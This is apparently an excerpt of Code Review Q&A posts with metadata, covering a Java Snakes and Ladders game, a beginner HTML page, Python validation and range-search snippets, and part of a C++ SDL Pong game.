//this function generates the board, placing random snakes and ladders and
//filling the rest with normal tiles
System.out.println("Initializing board");
int snakes = secureRandom.nextInt(15) + 1; //generates snakes &
int ladders = secureRandom.nextInt(15) + 1; //ladders at random
//positions
setSnakes(snakes);
setLadders(ladders);
for(int i = 0; i < 101; i++){
if(board[i] != null){
continue;
}
Tile t = new TileImpl(TileType.NORMAL);
board[i] = t;
}
}
@Override
public void movePlayer(Player player, int places) {
int currentPosition = player.getPosition();
String checkPos = checkEndingPosition(currentPosition, places);
if(checkPos.equals("winner")){
winner(player);
}
if(checkPos.equals("outOfBoard")){
System.out.println("That move cannot be made from your position! " +
"Roll a different number next time");
}
if(checkPos.equals("valid")){
Tile t = getTile(currentPosition + places);
if(t.getType().equals(TileType.NORMAL)){
player.setPosition(currentPosition + places);
System.out.println("Player " + player.getName() +
" moves to position "+ player.getPosition());
}else {
player.setPosition(t.getDestination());
System.out.println(" Player " + player.getName() +
" encountered a "+ t.getType()+ "!!, moves to position "+ player.getPosition());
}
}
}
@Override
public Tile getTile(int n) {
return board[n];
}
public String checkEndingPosition(int currentPosition, int places){
if((currentPosition + places) > 100){
return "outOfBoard";
}else if((currentPosition+ places) == 100){
return "winner";
}
else{
return "valid";
}
}
public void winner(Player player){
System.out.print("Player " + player.getName() + " has won the game !");
System.exit(0);
}
public void setSnakes(int n){
//this function generates snakes at random positions
for(int i = 0; i < n; i ++){
boolean flag = true;
int start = 0;
int dest = 0;
while(flag) {
start = secureRandom.nextInt(98);
if(!occupiedPositions.contains(start)){
occupiedPositions.add(start);
break;
}
}
while(flag) {
//Setting the destination for a snake tile to lower than its position
dest = (int)(start * secureRandom.nextDouble());
if(!occupiedPositions.contains(dest)){
occupiedPositions.add(dest);
break;
}
}
Tile tile = new TileImpl(TileType.SNAKE, dest);
board[start] = tile;
System.out.println("Created snake " + "[" + start+ "," + dest + "]");
}
}
public void setLadders(int n) {
//this function generates ladders randomly
for (int i = 0; i < n; i++) {
boolean flag = true;
int start = 0;
int dest = 0;
while (flag) {
start = secureRandom.nextInt(80);
if (!occupiedPositions.contains(start)) {
occupiedPositions.add(start);
break;
}
}
while (flag) {
//this step places the destination for the ladder tile to greater than its position
dest = (int) (start + secureRandom.nextDouble() * 10);
if (!occupiedPositions.contains(dest)) {
occupiedPositions.add(dest);
break;
}
}
Tile tile = new TileImpl(TileType.LADDER, dest);
board[start] = tile;
System.out.println("Created ladder " + "[" + start+ "," + dest + "]");
}
}
}
</code></pre>
<h3>Class <code>PlayerImpl</code>:</h3>
<pre><code>public class PlayerImpl implements Player{
private int position = 0;
private String name = null;
public PlayerImpl(String name){
this.name = name;
}
@Override
public int getPosition() {
return position;
}
@Override
public String getName() {
return name;
}
@Override
public void setPosition(int currentPosition) {
this.position = currentPosition;
}
@Override
public void setName(String playerName) {
this.name = playerName;
}
}
</code></pre>
<h3>Class <code>TileImpl</code>:</h3>
<pre><code>public class TileImpl implements Tile {
private TileType type;
private int position;
private int destination;
public TileImpl(TileType type) {
this.type = type;
}
public TileImpl(TileType type, int dest) {
this.type = type;
this.destination = dest;
}
public int getPosition() {
return position;
}
public int getDestination() {
return destination;
}
public void setType(TileType type) {
this.type = type;
}
public void setPosition(int position) {
this.position = position;
}
public void setDestination(int destination) {
this.destination = destination;
}
@Override
public TileType getType() {
return type;
}
}
</code></pre>
<h3>Class <code>SnakesAndLadders</code>:</h3>
<pre><code>import java.security.SecureRandom;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;
public class SnakesAndLadders {
public static void main(String args[]){
Board board = new BoardImpl();
List<Player> players = new ArrayList<>();
System.out.println("How many players ?");
Scanner scan = new Scanner(System.in);
int noOfPlayers = scan.nextInt();
for(int i = 0; i < noOfPlayers; i++){
System.out.println("Enter name for player "+ i);
String name = scan.next();
Player player = new PlayerImpl(name);
players.add(player);
}
board.initialize();
int counter = 0;
System.out.println("Lets Play!");
String choice = "";
SecureRandom random = new SecureRandom();
//simulating a game through the do while loop
do{
if(counter >= noOfPlayers) counter = 0;
Player currPlayer = players.get(counter);
System.out.println(" Player " + currPlayer.getName() + " turn to play!");
System.out.println(" R = Roll the dice, Q = quit");
choice = scan.next();
if(choice.equalsIgnoreCase("R")){
int places = random.nextInt(6) + 1;
board.movePlayer(currPlayer, places);
counter++;
}
}while(!choice.equalsIgnoreCase("Q"));
}
}
</code></pre>
<p>I think the game is very straight forward. I wanted to particularly know if</p>
<ol>
<li><p>There is a better way to generate the random numbers of snakes and ladders.</p>
</li>
<li><p>A better and more appropriate data structure to represent the 'board'</p>
</li>
<li><p>If my code can be improved to contain any important paradigms/practices.</p>
</li>
</ol>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T15:40:05.820",
"Id": "489564",
"Score": "2",
"body": "`SecureRandom` is *absolute overkill* for this. It is a cryptographical secure random number generator...that means that it draws from the OS pool of secure random numbers, which can be depleted. You want `Random`, and it has the upside that you can initialize it with a seed, which means that games become reproducible, which is good news for debugging."
}
] |
[
{
"body": "<h2>Readability and style</h2>\n<p>Please run your code through a formatter to make it more readable and follow standards.</p>\n<p>This one may work:</p>\n<p><a href=\"https://www.tutorialspoint.com/online_java_formatter.htm\" rel=\"nofollow noreferrer\">https://www.tutorialspoint.com/online_java_formatter.htm</a></p>\n<h2>Flag?</h2>\n<pre><code> boolean flag = true;\n int start = 0;\n int dest = 0;\n\n while (flag) {\n start = secureRandom.nextInt(80);\n if (!occupiedPositions.contains(start)) {\n occupiedPositions.add(start);\n break;\n }\n }\n</code></pre>\n<p>You're not using, checking or changing the flag here. This loop should just be <code>while(true)</code> and the next loop does the same thing.</p>\n<h2>If-else-</h2>\n<pre><code>if(checkPos.equals("winner")){\n winner(player);\n }\n</code></pre>\n<p>When you're checking several exclusive cases and comparing to a string, I think a <code>switch</code> statement is a more appropriate/standard way of doing it. It also makes it clearer that the cases are exclusive.</p>\n<h2>Data structure</h2>\n<pre><code>Set<Integer> occupiedPositions = new HashSet<>();\n</code></pre>\n<p>This seems unnecessary/unnatural to me. I would add to the Tile class a <code>bool</code> to mark a tile as occupied, and then that information can be contained in the tile/board itself instead of having a separate <code>Set</code> for bookkeeping.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T08:53:40.110",
"Id": "249670",
"ParentId": "249660",
"Score": "3"
}
},
{
"body": "<p>Welcome to Code Review. Nice implementation and good structure of the code, find my suggestions in line.</p>\n<blockquote>\n<ol>\n<li>There is a better way to generate the random numbers of snakes and\nladders.</li>\n</ol>\n</blockquote>\n<p>The methods <code>setSnakes</code> and <code>setLadders</code> differ by just a couple of lines of code, which is an indicator of code duplication. This is the method <code>setLadders</code>:</p>\n<pre><code>public void setLadders(int n) {\n//this function generates ladders randomly\n for (int i = 0; i < n; i++) {\n boolean flag = true;\n int start = 0;\n int dest = 0;\n\n while (flag) {\n start = secureRandom.nextInt(80);\n if (!occupiedPositions.contains(start)) {\n occupiedPositions.add(start);\n break;\n }\n }\n\n while (flag) {\n//this step places the destination for the ladder tile to greater than its position\n dest = (int) (start + secureRandom.nextDouble() * 10);\n if (!occupiedPositions.contains(dest)) {\n occupiedPositions.add(dest);\n break;\n }\n }\n\n Tile tile = new TileImpl(TileType.LADDER, dest);\n board[start] = tile;\n System.out.println("Created ladder " + "[" + start+ "," + dest + "]");\n }\n}\n</code></pre>\n<p>One approach is to create a method to generate the random numbers and then use it to generate ladders and snakes. For example:</p>\n<pre><code>private void setRandomLadder() {\n while (true) {\n int[] segment = getRandomSegment(1,99);\n int start = segment[0];\n int end = segment[1];\n if (isTileFree(start) && isTileFree(end)) {\n board[start] = new TileImpl(TileType.LADDER, end);\n board[end] = new TileImpl(TileType.OCCUPIED);\n break;\n }\n }\n}\n</code></pre>\n<p>This method can be invoked <code>n</code> times depending on how many ladders you want to add to the board. The method <code>getRandomSegment</code> returns two random points between 1 and 99. Also I changed the name from <code>setLadders</code> to <code>setRandomLadder</code>, to make it self-descriptive. Finally, keep in mind that if you add too many ladders such methods never complete, so consider to check if there are free tiles before.</p>\n<hr />\n<blockquote>\n<ol start=\"2\">\n<li>A better and more appropriate data structure to represent the 'board'</li>\n</ol>\n</blockquote>\n<p>By using the previous method, we can remove the list <code>occupiedPositions</code>, which was possible by adding <code>TileType.OCCUPIED</code>.</p>\n<p>The array of <code>Tile</code> is ok as data structure, an alternative is to use <code>ArrayList</code>.</p>\n<hr />\n<blockquote>\n<ol start=\"3\">\n<li>If my code can be improved to contain any important\nparadigms/practices.</li>\n</ol>\n</blockquote>\n<ul>\n<li><p><strong>Console output</strong>:</p>\n<pre><code>How many players ?\n2\nEnter name for player 0\n</code></pre>\n<p>It's confusing for the user to see player 0, start from player 1.</p>\n</li>\n<li><p><strong>Magic numbers</strong>: <code>new Tile[101]</code>, <code>secureRandom.nextInt(98)</code>, etc. Create constants, for example:</p>\n<pre><code>private static final int SIZE = 101;\n</code></pre>\n</li>\n<li><p><strong>Modifiers</strong>: the methods <code>setSnakes</code> and <code>setLadders</code> should be private, same for all the instance variables.</p>\n</li>\n<li><p><strong>Initialize in the constructor</strong>: the <code>BoardImpl</code> has a method <code>initialize()</code> but and empty constructor. You can use directly the constructor.</p>\n</li>\n<li><p><strong>Encapsulation</strong>: the interface <code>Board</code> accepts a <code>Player</code> with a public <code>setPosition</code>, which means anyone can change it. Only the board should change the state of the player. A safer interface might be:</p>\n<pre><code>public interface Board {\n void movePlayer(String playerId, int places);\n //..\n}\n</code></pre>\n</li>\n<li><p><strong>Avoid temporary variables</strong>: instead of</p>\n<pre><code>Tile tile = new TileImpl(TileType.LADDER, dest);\nboard[start] = tile;\n</code></pre>\n<p>You can write:</p>\n<pre><code>board[start] = new TileImpl(TileType.LADDER, dest);\n</code></pre>\n</li>\n<li><p><strong>Code smell</strong>:</p>\n<pre><code> public String checkEndingPosition(int currentPosition, int places){\n\n if((currentPosition + places) > 100){\n return "outOfBoard";\n }else if((currentPosition+ places) == 100){\n return "winner";\n }\n else{\n return "valid";\n }\n }\n</code></pre>\n<p>Returning a String is very error prone here. For example, you could return a boolean and eventually an exception.</p>\n</li>\n<li><p><strong>Testing and reusability</strong>: the method <code>winner</code> calls <code>System.exit(0)</code>, which makes it impossible to test. Additionally, there are many <code>System.out.println</code> in the <code>BoardImpl</code> class. It is very hard to test a class like that. Ideally, the class <code>Board</code> should never print to the user, only for debugging. The <code>main</code> should be responsible to interact with the user.</p>\n</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T02:48:36.197",
"Id": "249712",
"ParentId": "249660",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249712",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T02:23:34.753",
"Id": "249660",
"Score": "3",
"Tags": [
"java",
"game"
],
"Title": "A simple Snakes and Ladders implementation in Java"
}
|
249660
|
<p>As part of my study, I decided to do <a href="https://www.frontendmentor.io/challenges/social-proof-section-6e0qTv_bA" rel="nofollow noreferrer">this task from frontendmentor site</a>. It's a short html code but I would like to learn good practices from the beginning.</p>
<p>The problem I had encountered:</p>
<ul>
<li>Adding names to classes to make them readable</li>
<li>What should I pay attention to when making the page accessibility</li>
</ul>
<p>In the code below I tried to use the BEM method and html semantically.</p>
<p>I was wondering if I could get some good critique on my HTML code and learn some best practices while I'm at it.</p>
<pre><code><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link
rel="icon"
type="image/png"
sizes="32x32"
href="./images/favicon-32x32.png"
/>
<link href="https://fonts.googleapis.com/css2?family=Spartan:wght@400;500;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="css/style.css">
<title>Frontend Mentor | Social proof section</title>
</head>
<body>
<header>
<h1 class="header__heading">10,000+ of our users love our productds.</h1>
<p class="header__text">We only provide great products combined with excellent customer service. See what our satisfied customers are saying about our services.</p>
</header>
<main>
<div class="rating">
<div class="rating__stars">
<img src="./images/icon-star.svg" alt="star">
<img src="./images/icon-star.svg" alt="star">
<img src="./images/icon-star.svg" alt="star">
<img src="./images/icon-star.svg" alt="star">
<img src="./images/icon-star.svg" alt="star">
</div>
<p class="rating__info">Reated 5 Stars in Reviews</p>
</div>
<div class="rating">
<div class="rating__stars">
<img src="./images/icon-star.svg" alt="star">
<img src="./images/icon-star.svg" alt="star">
<img src="./images/icon-star.svg" alt="star">
<img src="./images/icon-star.svg" alt="star">
<img src="./images/icon-star.svg" alt="star">
</div>
<p class="rating__info">Reated 5 Stars in Reviews</p>
</div>
<div class="rating">
<div class="rating__stars">
<img src="./images/icon-star.svg" alt="star">
<img src="./images/icon-star.svg" alt="star">
<img src="./images/icon-star.svg" alt="star">
<img src="./images/icon-star.svg" alt="star">
<img src="./images/icon-star.svg" alt="star">
</div>
<p class="rating__info">Reated 5 Stars in Reviews</p>
</div>
<section class="reviews">
<div class="card">
<img class="card__img" src="./images/image-colton.jpg" alt="Colton Smith avatar">
<h2 class="card__name">Colton Smith</h2>
<span class="card__role">Verified Buyer</span>
<p class="card__text">"We needed the same printed design as the one we had ordered a aweek prior. Not only did they find the orginal order, but we also received it in time Excellent!"</p>
</div>
<div class="card">
<img class="card__img" src="./images/image-colton.jpg" alt="Irene Roberts avatar">
<h2 class="card__name">Irene Roberts</h2>
<span class="card__role">Verified Buyer</span>
<p class="card__text">"Customer service is always excellent and very quick turn around. Completeely delighted with the simplicity of the purchase and the speed of delivery."</p>
</div>
<div class="card">
<img class="card__img" src="./images/image-colton.jpg" alt="Anne Wallace avatar">
<h2 class="card__name">Anne Wallace</h2>
<span class="card__role">Verified Buyer</span>
<p class="card__text">"Put an order with this company and can only praise them for the very high standard. Will defenitely use them again and recommend them to everyone"</p>
</div>
</section>
</main>
</body>
</html>
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T05:18:48.577",
"Id": "249663",
"Score": "1",
"Tags": [
"beginner",
"html",
"bem"
],
"Title": "Simple html/css challange for learning purposes"
}
|
249663
|
<p>I have a piece of code that takes a dictionary as input and validates it based on the following rules:</p>
<ol>
<li>The dictionary has a <code>key</code> named <code>items</code> and its <code>value</code> must be a list</li>
<li>Now, the list from point 1 must be a nested list with the length of each list should be 2</li>
<li>The first element (<code>[0]</code>) of every nested list must be of type <code>int</code> and the second element (<code>[1]</code>) must be float</li>
</ol>
<p><strong>The input to validate:</strong></p>
<pre><code>json_to_test = {
"items": [
[
1577837700,
63.2
],
[
1577838600,
61
],
[
1577839500,
58.9
],
[
1577840400,
57
],
[
1577841300,
55.3
]
]
}
</code></pre>
<p><strong>My code</strong></p>
<pre><code>def get_element(lst, num):
return [item[num] for item in lst]
json_input = json_to_test['items']
if any(isinstance(i, list) for i in json_input):
if all(len(i) == 2 for i in json_input):
if all(isinstance(j, int) for j in get_element(json_input, 0)) and all(isinstance(j, float) for j in get_element(json_input, 1)):
print('Data ready to be saved to DB')
return json_input
else:
abort(400, 'Check data type')
else:
abort(400, 'Nested list but not lenghth 2')
else:
abort(400, 'Not list')
</code></pre>
<p>The <code>abort</code> in the <code>else</code> statements is being imported from <code>flask</code>: <a href="https://flask.palletsprojects.com/en/1.1.x/api/#flask.abort" rel="nofollow noreferrer">https://flask.palletsprojects.com/en/1.1.x/api/#flask.abort</a></p>
<p>Is there a way the above code of mine be more efficient or further improved?</p>
|
[] |
[
{
"body": "<h2>Keyerror</h2>\n<p>Did you test this code with some invalid input?</p>\n<p>The code will fail with a <em>keyError</em> if the <code>items</code> key does not exist, since your code just assumes it exists.\nYou could do a try-except with the <code>json_to_test['items']</code> so that you can handle the keyError.</p>\n<h2>Unspecificness</h2>\n<pre><code>if any(isinstance(i, list) for i in json_input)\n</code></pre>\n<p>You're testing that <code>json_input</code> contains at least one element that is a list, but that could be something elese than <code>json_to_test['items']</code> which you clearly said has to be a list. Why aren't you testing that particular object?</p>\n<h2>Nested code</h2>\n<p>Your code is triple-nested which makes it hard to read and to maintain.</p>\n<p>It is better if you check each error condition separately without nesting and return only if they all pass. That also makes it much easier to add or remove another validation check without re-indenting the whole code and figuring out where it goes.</p>\n<p>Something like this:</p>\n<pre><code>if fail_condition_1:\n abort("error_message_1")\n\nif fail_condition_2:\n abort("error_message_2")\n\nif fail_condition_3:\n abort("error_message_3")\n\nprint('Data ready to be saved to DB')\nreturn json_input\n<span class=\"math-container\">```</span>\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T11:21:22.920",
"Id": "489541",
"Score": "0",
"body": "Hey, thanks for your inputs. The did want to improve the nested code because, as pointed out by you, is hard to read and maintain. Regarding the `keyerror` and `Unspecificness`, I shall improve them for sure. Right now the code is being fed the correct information, that's why currently I didn't write specific tests for the above 2 cases."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T08:24:38.017",
"Id": "249669",
"ParentId": "249668",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "249669",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T07:43:36.807",
"Id": "249668",
"Score": "2",
"Tags": [
"python",
"python-3.x"
],
"Title": "How can a code that takes dict as input and validates it based on multiple conditions be further optimized?"
}
|
249668
|
<p>I want to search for positions inside a range of integers. How to improve the code in terms of efficiency, since both my search list and the ranges are very big:</p>
<pre><code>#Range list with ids
range_lst = [(121000, 122000, 'foo'), (123456, 124557, 'bar'), (156789, 163659, 'egg')]
# Positions which we want to scan
pos = [123456, 369369]
# Neighbouring windows size
window_size = 10000
for p in pos:
for r in range_lst:
range_area = range(r[0], r[1])
range_area_window = range(r[0]-window_size, r[1]+window_size)
id = r[2]
if p in range_area:
print (p, id, 'exact hit!')
else:
# If we don't find an exact hit, we check the neighbouring region +- 10000
if p in range_area_window:
print (p, id, 'neighbour hit!')
</code></pre>
|
[] |
[
{
"body": "<p>I think that having a <code>range</code> is not necessary here. If you're only comparing against integer ranges, simple <span class=\"math-container\">\\$ \\le \\$</span> and <span class=\"math-container\">\\$ \\ge \\$</span> comparisons should suffice.</p>\n<p>So, the following function is essentially the same:</p>\n<pre><code>def search_position(ranges, positions, window_size=10000):\n for low, high, range_id in ranges:\n for pos in positions:\n if low <= pos < high:\n print(pos, range_id, 'exact hit!')\n elif (low - window_size) <= pos < (high + window_size):\n print(pos, range_id, 'neighbour hit!')\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T15:24:07.330",
"Id": "249687",
"ParentId": "249671",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "249687",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T08:58:54.653",
"Id": "249671",
"Score": "1",
"Tags": [
"python",
"performance"
],
"Title": "Efficient loop over a integer range in Python"
}
|
249671
|
<p>I wrote a simple, 2-player Pong game for a Udacity Nanodegree in C++.</p>
<img src="https://raw.githubusercontent.com/JanCharler/Pong-Game/master/images/demo.gif" />
<p>The program has the following class structure (relatively new to UML so any tips on here would be very much welcome too): <a href="https://i.stack.imgur.com/2fWEI.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/2fWEI.png" alt="UML class structure" /></a></p>
<p>Towards the end of the project, as I needed to add more features, my Game class started to do many many things (collision detection for board edges, physics for ball deflection, render scenes, keep track of scores etc).</p>
<p>Whilst writing the code, I couldn't see clearly how these things could be encapsulated in their own class and it felt much easier, quicker and less verbose to continue expanding the Game class.</p>
<p>The code works now but I know its OOP design could be improved. Where would you start? Your thoughts are very much appreciated!</p>
<p>EDIT: Going to be updating the code based off of the invaluable advice given below. Link to the repo is <a href="https://github.com/JanCharler/Pong-Game" rel="nofollow noreferrer">here</a> for those interested in the progress.</p>
<p>Here is the source code (from original post):</p>
<h2>main.cpp</h2>
<pre><code>#include "Game.h"
int main(int argc, char* argv[])
{
Game game;
return game.execute();
}
</code></pre>
<h2>GameObjects.h</h2>
<pre><code>#pragma once
#include <SDL.h>
#include <SDL_image.h>
#include <memory>
#include <iostream>
#include <random>
struct Vect_2D {
int x;
int y;
};
struct Circle {
int x;
int y;
int r;
};
template <typename T>
class GameObjects{
protected:
Vect_2D _velocity;
int _speed;
int _curX;
int _curY;
SDL_Texture* _texture; // TODO need to destroy textures // SDL_DestroyTexture(t);
T _boundingBox;
public:
// Constructors
GameObjects() = default;
GameObjects(GameObjects& other) = delete;
GameObjects& operator=(GameObjects& other) = delete;
GameObjects(GameObjects&& other) = delete;
GameObjects& operator=(GameObjects&& other) = delete;
// Destructor
~GameObjects() { SDL_DestroyTexture(_texture); }
// Accessors
Vect_2D velocity() { return _velocity; }
int curX() { return _curX; }
int curY() { return _curY; }
T boundingBox() { return _boundingBox; }
SDL_Texture* getTexture() { return _texture; }
// Modifiers
void setTexture(SDL_Texture* t) { _texture = t; }
void setVelocity(Vect_2D v) { _velocity = v; }
void setSpeed(int s) { _speed = s; }
void curX(int n);
void curY(int n);
// Special functions
virtual void render(SDL_Renderer* renderer) = 0;
void move();
void updateBoundingBox();
};
class Ball : public GameObjects<Circle> {
private:
std::mt19937 _mt;
std::random_device _rdevice;
public:
Ball() = default;
Ball(const int& x, const int& y, const int& r);
// Functions
void setRandomVelocity();
void render(SDL_Renderer* renderer) override;
};
class Platform : public GameObjects<SDL_Rect> {
public:
Platform() = default;
Platform(const int& x, const int& y, const int& w, const int& h);
// Functions
void moveUp();
void moveDown();
void stop();
void render(SDL_Renderer * renderer) override;
};
template <typename T>
void GameObjects<T>::move() {
_curX += _velocity.x;
_curY += _velocity.y;
updateBoundingBox();
}
template <typename T>
void GameObjects<T>::curX(int n) {
_curX = n;
updateBoundingBox();
}
template <typename T>
void GameObjects<T>::curY(int n) {
_curY = n;
updateBoundingBox();
}
</code></pre>
<h2>GameObjects.cpp</h2>
<pre><code>#include "GameObjects.h"
Platform::Platform(const int& x, const int& y, const int& w, const int& h) {
_velocity.x = 0;
_velocity.y = 0;
setSpeed(7);
_curX = x;
_curY = y;
//_boundingBox = SDL_Rect();
_boundingBox.x = x;
_boundingBox.y = y;
_boundingBox.w = w;
_boundingBox.h = h;
}
Ball::Ball(const int& x, const int& y, const int& r) {
setSpeed(8);
//setRandomVelocity();
_curX = x;
_curY = y;
_boundingBox.r = r;
// Account for the fact that textures are drawn at top left,
// but circle x,y is in centre of circle.
_boundingBox.x = x + r;
_boundingBox.y = y + r;
}
// Sets a random y velocity going towards left of right. left/right speed remains the same as before.
void Ball::setRandomVelocity() {
int a = _rdevice();
std::cout << "random seed = " << a << "\n";
_mt.seed(a);
std::uniform_int_distribution<int> dist(0, 1);
if (dist(_mt) == 1)
_velocity.x = _speed;
else
_velocity.x = -_speed;
std::uniform_int_distribution<int> dist2(-3, 3);
_velocity.y = dist2(_mt);
}
void Ball::render(SDL_Renderer* renderer) {
SDL_SetRenderDrawColor(renderer, 0xFF, 0xFF, 0XFF, 0XFF);
SDL_Rect newPos = { _curX, _curY, 15, 15 };
SDL_RenderCopy(renderer, _texture, NULL, &newPos);
//SDL_RenderPresent(renderer);
}
void Platform::render(SDL_Renderer* renderer) {
SDL_SetRenderDrawColor(renderer, 0xFF, 0xFF, 0XFF, 0XFF);
SDL_Rect newPos = { _curX, _curY, 13, 73 };
SDL_RenderCopy(renderer, _texture, NULL, &newPos);
//SDL_RenderPresent(renderer);
}
void Platform::moveUp() {
setVelocity(Vect_2D{ 0, -_speed });
}
void Platform::moveDown() {
setVelocity(Vect_2D{ 0, _speed });
}
void Platform::stop() {
setVelocity(Vect_2D{ 0, 0 });
}
template<>
void GameObjects<Circle>::updateBoundingBox() {
_boundingBox.x = _curX + _boundingBox.r;
_boundingBox.y = _curY + _boundingBox.r;
}
template<>
void GameObjects<SDL_Rect>::updateBoundingBox() {
_boundingBox.x = _curX;
_boundingBox.y = _curY;
}
</code></pre>
<h2>Timer.h</h2>
<pre><code>// Thread safe timer class
#pragma once
#include <chrono>
#include <mutex>
#include <iostream>
#include <future>
using std::chrono::steady_clock;
class Timer
{
private:
std::mutex mtx;
std::future<void> _ftr;
bool _isRunning;
bool _completed;
void delay(const std::chrono::milliseconds& ms);
public:
Timer() : _isRunning(false), _completed(false) {};
bool isRunning();
bool isCompleted();
bool start(const std::chrono::milliseconds& ms);
};
</code></pre>
<h2>Timer.cpp</h2>
<pre><code>#include "Timer.h"
void Timer::delay(const std::chrono::milliseconds& ms) {
std::unique_lock<std::mutex> lck(mtx);
_completed = false;
_isRunning = true;
lck.unlock();
auto time_started = steady_clock::now();
std::this_thread::sleep_for(ms);
lck.lock();
_isRunning = false;
_completed = true;
}
bool Timer::isRunning() {
std::unique_lock<std::mutex> lck(mtx);
return _isRunning;
}
bool Timer::isCompleted() {
std::unique_lock<std::mutex> lck(mtx);
return _completed;
}
bool Timer::start(const std::chrono::milliseconds& ms) {
if (isRunning()) {
return false;
}
else {
_ftr = std::async(&Timer::delay, this, ms);
return true;
}
}
</code></pre>
<h2>CollisionDetection.h</h2>
<pre><code>#pragma once
#include <cmath>
#include "GameObjects.h"
class CollisionDetection
{
public:
static int square_of_distance(int x1, int y1, int x2, int y2);
static void detectCollision(const Circle& item1, const SDL_Rect& item2, int& collisionX, int& collisionY);
};
</code></pre>
<h2>CollisionDetection.cpp</h2>
<pre><code>#include "CollisionDetection.h"
#include <iostream>
// Checks if circle and rectangle have collided. Returns 2 ints representing where on x and y they collided. Both will be -1, -1 if no collision.
void CollisionDetection::detectCollision(const Circle& circle, const SDL_Rect& rectangle, int& collision_x, int& collision_y) {
collision_x = -1;
collision_y = -1;
int rectCollidePointY = 0;
int rectCollidePointX = 0;
// Check where on the y axis the circle is in relation to the rectangle
if (circle.y > rectangle.y + rectangle.h) rectCollidePointY = rectangle.y + rectangle.h; // circle below rectangle
else if (circle.y < rectangle.y) rectCollidePointY = rectangle.y; // circle above rectangle
else rectCollidePointY = circle.y; // circle somewhere in the middle of rectangle in y axis
// Check where on the x axis the circle is in relation to the rectangle
if (circle.x > rectangle.x + rectangle.w) rectCollidePointX = rectangle.x + rectangle.w; // circle to the right of whole rectangle
else if (circle.x < rectangle.x) rectCollidePointX = rectangle.x; // circle to the left of whole rectangle
else rectCollidePointX = circle.x; // circle somewhere in the middle of rectangle in x axis
int d = square_of_distance(circle.x, circle.y, rectCollidePointX, rectCollidePointY);
if (d < pow(circle.r, 2)) {
collision_x = rectCollidePointX;
collision_y = rectCollidePointY;
return;
}
}
int CollisionDetection::square_of_distance(int x1, int y1, int x2, int y2) {
return static_cast<int>(pow(x1 - x2, 2) + pow(y1 - y2, 2));
}
</code></pre>
<h2>Game.h</h2>
<pre><code>#pragma once
#include <SDL.h>
#include <SDL_image.h>
#include <iostream>
#include <vector>
#include <string>
#include <SDL_ttf.h>
#include <chrono>
#include <mutex>
#include <future>
#include <sstream>
#include <iomanip>
#include "GameObjects.h"
#include "CollisionDetection.h"
#include "Timer.h"
enum class GameState {
kMainMenu,
kPreStart,
kStart,
kScoreScreen,
};
class Game{
private:
bool _running;
int _frames;
uint32_t _timeAtLaunch;
Timer _threadSafeTimer;
std::vector<int> _scoresVector;
GameState _state;
bool _gameStarted;
SDL_Window* _mainWindow;
SDL_Renderer* _renderer;
const int GAME_WIDTH = 600;
const int GAME_HEIGHT = 400;
std::unique_ptr<Ball> _ball;
std::unique_ptr<Platform> _leftPlatform;
std::unique_ptr<Platform> _rightPlatform;
std::vector<TTF_Font*> _fonts; // global font
void renderText(SDL_Texture* text_texture, int xpos, int ypos);
void updateScoreTextTure();
SDL_Texture* _countdownTimer;
SDL_Texture* _scoresTexture;
SDL_Texture* _controlsTexture;
SDL_Texture* loadTexture(std::string path);
bool loadMedia();
SDL_Texture* loadFromRenderedText(std::string textureTex, SDL_Color textColor, TTF_Font* font);
void checkAndReactToBallCollisions(int& winner);
void checkAndReactToPlatformCollisions();
bool init();
void onEvents(SDL_Event* event);
void gameLoop();
void render();
void cleanUp();
void start();
public:
Game();
int execute(); // Launch game
};
</code></pre>
<h2>Game.cpp</h2>
<pre><code>#include "Game.h"
#include "CollisionDetection.h"
using std::cout;
using std::endl;
Game::Game() {
cout << "Game object initialized." << endl;
_state = GameState::kMainMenu;
_scoresVector = { 0, 0 };
_ball = std::make_unique<Ball>(GAME_WIDTH / 2, GAME_HEIGHT / 2, 8);
_leftPlatform = std::make_unique<Platform>(7, 150, 13, 73);
_rightPlatform = std::make_unique<Platform>(580, 150, 13, 73);
_running = true;
_gameStarted = false;
_frames = 0;
}
int Game::execute() {
cout << "Launching game." << endl;
init();
SDL_Event e;
cout << "Starting game..." << endl;
while (_running) {
while (SDL_PollEvent(&e)) {
onEvents(&e);
}
gameLoop();
render();
}
cleanUp();
return 0;
}
bool Game::init() {
cout << "Initializing game." << "\n" << std::flush;
// Init SDL
if (SDL_Init(SDL_INIT_EVERYTHING) < 0) {
std::cout << "SDL couldn't initialize! SDL_Error: " << SDL_GetError() << "\n";
return false;
}
// Create Window
if ((_mainWindow = SDL_CreateWindow("Pong by Can", SDL_WINDOWPOS_CENTERED, SDL_WINDOWPOS_CENTERED,
GAME_WIDTH, GAME_HEIGHT, SDL_WINDOW_SHOWN)) == NULL) {
return false;
}
// Create renderer for window
_renderer = SDL_CreateRenderer(_mainWindow, -1, SDL_RENDERER_ACCELERATED);
if (_renderer == NULL) {
std::cout << "Renderer could not be created. SDL_Error: " << SDL_GetError() << "\n";
return false;
}
